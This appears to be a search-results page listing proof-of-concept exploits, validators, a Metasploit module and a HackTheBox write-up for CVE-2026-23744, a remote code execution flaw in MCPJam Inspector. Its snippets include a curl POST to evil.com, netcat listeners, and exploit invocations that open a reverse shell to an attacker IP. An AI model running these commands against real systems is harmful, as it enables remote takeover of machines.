86 matches found
CVE-2026-23744-PoC
CVE-2026-23744-PoC PoC об уязвимости в MCP Server. автоматизировано для части POST-запроса с правильным телом. уязвимый путь: /api/mcp/connect метод с помощью curl: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...
CVE-2026-23744
CVE-2026-23744 Описание MCPJam inspector — это локальная платформа для разработки MCP-серверов. Версии =1.4.2 уязвимы для удалённого выполнения кода RCE, что позволяет злоумышленнику отправить специально созданный HTTP-запрос, вызывающий установку MCP-сервера и приводящий к RCE. Подробности об...
CVE-2026-23744
CVE-2026-23744 CVE-2026-23744 RCE В ходе анализа этой уязвимости я обнаружил, что MCPJam Inspector выставил конечную точку /api/mcp/connect в сеть, привязавшись к 0.0.0.0. Эта конечная точка принимает JSON-объект, содержащий serverConfig, включая поля command и args. Приложение предназначалось дл...
CVE-2026-23744-MCPJam-Exploit
CVE-2026-23744 MCPJam Inspector RCE Exploit ⚠️ ПРЕДУПРЕЖДЕНИЕ Этот инструмент предназначен ТОЛЬКО для авторизованного тестирования безопасности и образовательных целей. Несанкционированное использование незаконно. Пользователи несут полную ответственность за свои действия. 📋 Обзор Этот репозиторий...
mcpjam-cve-2026-23744-validator
MCPJam Inspector Authorized Security Validator Ограниченный проверочный валидатор для CVE-2026-23744 , затрагивающий уязвимые развертывания MCPJam Inspector. Этот проект является независимым, неразрушающим инструментом проверки для ранее раскрытого CVE-2026-23744. Он не является первоначальным...
CVE-2026-23744
CVE-2026-23744 MCPJam inspector Remote-Code-Execution: использование Proof Of Concept POC: python3 cve-2026-23744.py --target https:// --att-ip --att-p...
CVE-2026-23744-poc
CVE-2026-23744 — Эксплойт удаленного выполнения кода RCE для mcpJam Эксплойт на Python 3, подтверждающий концепцию для CVE-2026-23744 — уязвимости произвольного выполнения команд, затрагивающей mcpJam v1.4.2. Эта утилита автоматизирует доставку полезной нагрузки, прозрачно кодируя команды в Base6...
CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2
CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2 Критическая уязвимость RCE в MCPJam Inspector 3.Запустите эксплойт python3 CVE-2026-23744.py -u -i -p 4.Для лучшего использования рекомендую обновить терминал до полностью функционального, иначе вы не сможете использовать такие команды, как Ctrl+C...
CVE-2026-23744-RCE
MCPJam Inspector v1.4.2 - Эксплойт RCE Описание уязвимости MCPJam Inspector содержит неаутентифицированную уязвимость удаленного выполнения кода RCE в конечной точке /api/mcp/connect. Уязвимость позволяет злоумышленникам выполнять произвольные команды, отправляя вредоносную полезную нагрузку...
mcpjam-to-root
⚠️ Отказ от ответственности Этот репозиторий предназначен только для авторизованных исследований безопасности, тестирования на проникновение и образовательных целей. Не используйте описанные здесь техники против систем без явного разрешения. ⚡ MCPJam → root От RCE в MCPJam Inspector до root —...
CVE-2025-49596-PoC
CVE-2026-23744-PoC Автоматизированный PoC для CVE-2026-23744 RCE на MCPJam inspector до версии 1.4.2 на целевых системах Linux Как использовать use netcat to run listener on any port like 9002. nc -nvlp 9002 use the automation like this python3 CVE-2025-49596.py https://mcpjam-server.com...
mcp-pwn
CVE-2026-23744 — MCPJam: неавторизованное удаленное выполнение кода Сводка MCPJam — это инспектор и прокси с открытым исходным кодом для MCP Model Context Protocol, используемый для подключения, отладки и управления MCP-серверами. Версии = 1.4.3 Вектор атаки| Сеть — аутентификация не требуется Да...
CVE-2026-23744-POC
CVE-2026-23744 — MCPJam Inspector 未認証RCE MCPJam Inspector -i -p -m リバースシェルの例 ステップ1 — リスナーを起動: root@kitploit: nc -lvnp 4444 ステップ2 — エクスプロイトを実行: root@kitploit: bash python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash ペイロードメソッド ターゲット上で busybox が動作しない場合は、他のメソッドを試してください:...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
CVE-2026-23744 exploit de RCE ejecución...
HTB-DevHub
HackTheBox — DevHub CVE-2026-23744 | MCPJam Inspector 未认证 RCE 难度： 中等 操作系统： Linux 利用链 root@kitploit: ┌─────────────────────────────────────────────────────┐ │ CVE-2026-23744 │ │ Unauthenticated POST → /api/mcp/connect │ └─────────────────────┬───────────────────────────────┘ ↓ Shell as mcp-dev ↓...
...[ More ]
This Metasploit module exploits an unauthenticated command execution vulnerability in MCPJam Inspector. The /api/mcp/connect endpoint accepts a JSON serverConfig object containing a command and argument list used to start an MCP server. A remote attacker can abuse this endpoint to execute arbitra...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
No d...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
CVE-2026-23744-PoC Disclaimer: This proof-of-concept...